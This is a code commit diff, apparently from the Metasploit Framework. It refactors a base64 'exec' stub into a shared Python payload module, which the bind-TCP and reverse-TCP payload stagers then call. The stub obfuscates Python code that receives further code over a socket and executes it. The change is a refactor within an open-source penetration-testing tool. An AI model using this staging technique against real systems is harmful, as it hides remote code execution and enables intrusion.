Refactor base64 stub into base module

As per @zeroSteiner's suggestion.

lib/msf/core/payload/python.rb

@@ -3,4 +3,21 @@ require 'msf/core'
 
 module Msf::Payload::Python
 
+  #
+  # Encode the given python command in base64 and wrap it with a stub
+  # that will decode and execute it on the fly.
+  #
+  # @param cmd [String] The python code to execute.
+  # @return [String] Full python stub to execute the command.
+  #
+  def py_create_exec_stub(cmd)
+    # Base64 encoding is required in order to handle Python's formatting
+    # requirements in the while loop
+    b64_stub  = "import base64,sys;exec(base64.b64decode("
+    b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
+    b64_stub << Rex::Text.encode_base64(cmd)
+    b64_stub << "')))"
+    b64_stub
+  end
+
 end

lib/msf/core/payload/python/bind_tcp.rb

@@ -13,6 +13,7 @@ module Msf
 
 module Payload::Python::BindTcp
 
+  include Msf::Payload::Python
   include Msf::Payload::Python::SendUUID
 
   #
@@ -52,12 +53,7 @@ module Payload::Python::BindTcp
     cmd << "\td+=s.recv(l-len(d))\n"
     cmd << "exec(d,{'s':s})\n"
 
-    # Base64 encoding is required in order to handle Python's formatting requirements in the while loop
-    b64_stub  = "import base64,sys;exec(base64.b64decode("
-    b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
-    b64_stub << Rex::Text.encode_base64(cmd)
-    b64_stub << "')))"
-    b64_stub
+    py_create_exec_stub(cmd)
   end
 
   def handle_intermediate_stage(conn, payload)

lib/msf/core/payload/python/reverse_tcp.rb

@@ -13,6 +13,7 @@ module Msf
 
 module Payload::Python::ReverseTcp
 
+  include Msf::Payload::Python
   include Msf::Payload::Python::SendUUID
 
   #
@@ -52,12 +53,7 @@ module Payload::Python::ReverseTcp
     cmd << "\td+=s.recv(l-len(d))\n"
     cmd << "exec(d,{'s':s})\n"
 
-    # Base64 encoding is required in order to handle Python's formatting requirements in the while loop
-    b64_stub  = "import base64,sys;exec(base64.b64decode("
-    b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
-    b64_stub << Rex::Text.encode_base64(cmd)
-    b64_stub << "')))"
-    b64_stub
+    py_create_exec_stub(cmd)
   end
 
   def handle_intermediate_stage(conn, payload)